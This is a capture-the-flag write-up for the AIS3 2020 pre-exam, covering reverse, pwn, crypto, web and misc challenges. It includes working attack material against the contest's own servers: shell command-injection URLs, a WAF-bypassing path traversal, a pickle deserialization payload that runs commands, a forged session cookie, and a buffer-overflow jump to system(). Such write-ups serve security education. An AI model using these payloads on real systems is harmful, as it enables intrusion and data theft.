# AIS3 2020 pre-exam
https://pre-exam.ais3.org/
flag 形式為 `AIS3{printable_ascii}`
<style>
code, kbd, pre, samp {
font-family: 'Fira Mono', Cousine, Inconsolata, monospace;
}
</style>
---
# :space_invader: Reverse
## TsaiBro
Reverse by Ghidra:
```c
if (argc == 1) {
printf("./TsaiBro string");
}
else {
puts("Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...");
cnt = 0;
while (nchars = strlen(argv[1]), (ulong)(long)cnt < nchars) {
lookup = 0;
while (lookup < 0x40) {
if (table[lookup] == argv[1][cnt]) {
uVar3 = (uint)(lookup >> 0x1f) >> 0x1d; // const zero
iVar2 = lookup;
if (lookup < 0) { // dead condition
iVar2 = lookup + 7;
}
printf("發財%.*s發財%.*s",(ulong)((iVar2 >> 3) + 1),"..........",
(ulong)(((lookup + uVar3 & 7) - uVar3) + 1),"...........");
break;
}
lookup = lookup + 1;
}
cnt = cnt + 1;
}
}
```
## Stand up Brain!
The input is 6 characters, and will be checked according to a brainf*ck program at 0x301020.
After some guessing, the correct input turns out to be `C8763!`.
## Fallen beats
* Decompile; export the code from JD-GUI
* Modify `GameControl.java`, change two place where the combo is zeroed to "adding combo" instead.
* Recompile. Play it again without touching the keyboard. Full combo get.
## Long Island Iced Tea
From the code, only the first 8 bytes are clobbered. The `flag` file provided reveals almost all the real flag already. The first few characters are meant to be `AIS3{`, so we only need to bruteforce 3 characters (~85k combinations). A little bit dirty but still affordable if you have some spare machines.
---
# :computer: Pwn
## bof
Cliche. Jump to `0x400688` to get shell.
```
00400687 55 PUSH RBP
00400688 48 89 e5 MOV RBP,RSP
0040068b 48 8d 3d LEA RDI,[DAT_004007c8] = 73h s
36 01 00 00
00400692 e8 d9 fe CALL system int system(char * __command)
ff ff
00400697 90 NOP
00400698 5d POP RBP
00400699 c3 RET
```
## nonsense
No PIE, No NX. 0x60 (+ 0x10 bytes) for placing shellcode.
Check function: Before the string `wubbalubbadubdub`, any character that is < 32 or > 128 will be rejected.
Solution: near jump 32 bytes + magic string + padding + amd64 exec
Special thanks to:
* http://ref.x86asm.net/coder64.html
* https://defuse.ca/online-x86-assembler.htm#disassembly
---
# :key: Crypto
## Brontosaurus
> is this really a crypto???
https://artis24106.github.io/notebook/CTF/AIS3PreExam2019/Misc/KcufsJ/
```javascript
const cip = '......'
const val = Array.from(cip).reverse().join('')
const flag = eval(val)
```
## T-Rex
Simply a substitution table, Column -> row.
## Blowfish
Flow:
* A pickle is provided, a dict of user/pwd entries with no admins.
* Every session, (key, iv) is randomly generated, encrypting that pickle by blowfish in CTR mode (192 bytes result), b64 and returned as token.
* Then the user is prompted to enter a token and try to decrypt by the original (key, iv) setup.
* if successfully decrypted, that pickle is deserialized and check if corresponding user has admin attribute set.
* if the user is admin, flag is shown.
Q: If blowfish is flawless, the only way to pass a valid token is to pass the original one. Do we need to trick blowfish?
A: **Nope.** In CTR mode decryption, the plain text is retrieved by xor-ing decrypted (IV+counter), which allows to do bit flippings. Inspired by [this](https://stackoverflow.com/a/50149988/2281355).
## Octopus
Implement BB84 key exchange function to compute the `bit_stream`, and then xor with the result to get the flag.
Reference: https://en.wikipedia.org/wiki/BB84.
---
# :earth_asia: Web
## Shark
Banned by WAF:
* `../`...
* `/`...
But `path=~/../../../..` can be used to traverse in the filesystem.
Use `/etc/hosts` to know that we are at `172.22.0.3` (a docker, haha). It is tempting to try https://shark.ais3.org/?path=http://172.22.0.2/flag.
## Squirrel
See the output of https://squirrel.ais3.org/api.php?get=/proc/self/cmdline:
`{"output":"cat\u0000\/proc\/self\/cmdline\u0000"}`
This (PHP) script is calling `cat` to print data.
Secondly:
`curl https://squirrel.ais3.org/api.php?get=/proc/self/cmdline%00`
```html
<b>Warning</b>: shell_exec(): NULL byte detected. Possible attack in <b>/var/www/html/api.php</b> on line <b>6</b><br />
```
can dump out the source!!
```php
<?php
...
if ($file = @$_GET['get']) {
$output = shell_exec("cat '$file'");
...
```
Whoa we can do cmd injections!
```
https://squirrel.ais3.org/api.php?get=/dev/null%27;ls%20/;%27
https://squirrel.ais3.org/api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
```
## Elephant
Inspired by the hidden contents, find https://elephant.ais3.org/.git/HEAD readable and use scrabble to download the source.
`strcmp` trick! Serialize a user object with token `false`.
## Snake
Python. When a unpickled object satisfies `a and not a`, the flag will be read. I cannot come up with such an object, but bypassing it is easy. I think it's a weaken problem.
```python
class C():
def __reduce__(self):
return (subprocess.check_output, (['cat', '/flag'],))
```
## Rhino
JavaScript suggests "package.json" (actually `robots.txt` can help).
Reproduce the environment by downloading `chill.js`, `package.json`, `package-lock.json`. Manually add to see what cookie it gives us:
```javascript=
app.get('/flag.txt', (req, res) => {
res.setHeader('Content-Type', 'text/plain');
if (req.session.magic == null) {
req.session.magic = 1e-18;
}
...
```
Where `1e-18` is a non-zero value that satisfies `n && n + 420 === 420`.
The payload:
```
curl https://rhino.ais3.org/flag.txt \
-H "Cookie: express:sess=eyJtYWdpYyI6MWUtMTh9; \
express:sess.sig=jPC94vSRgp1ulVDOqw7UsZWELYg;"
```
---
# :game_die: Misc
## Piquero
Tip: Braille Translator
```
⠠⠁⠠⠊⠠⠎⠼⠉⠐⠸⠠⠊⠨⠤⠋⠑⠑⠇⠨⠤⠎⠇⠑⠑⠏⠽⠨⠤⠠⠛⠕⠕⠙⠨⠤⠠⠝⠊⠛⠓⠞⠖⠖⠖⠐⠸
```
```
AIS3⠐⠸I⠨-feel⠨-sleepy⠨-Good⠨-Night!!!⠐⠸
```
which is appearently
```
AIS3{I_feel_sleepy_Good_Night!!!}
```
## Karuego
Tip: binwalk/foremost+stegsolve
This png has an encrypted zip archive embedded.
LSB is almost all zero. Suspicious. Extract LSBs from RGB:
```
546865206b657920 6973203a206c6166 The key is : laf
6972650000000000 0000000000000000 ire..... ........
0000000000000000 0000000000000000 ........ ........
```
And inflating that ZIP. The flag is written on one of the images.
`AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}`
## Soy
Tip: https://merricx.github.io/qrazybox/
Recover by hand, and then feed into the raw Reed-Solomon Decoder.
`AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}`
## Saburo
An ordinary timing attack.
## Shichirou
Create a symlink to `../flag.txt` naming `guess.txt`. Tar. Done.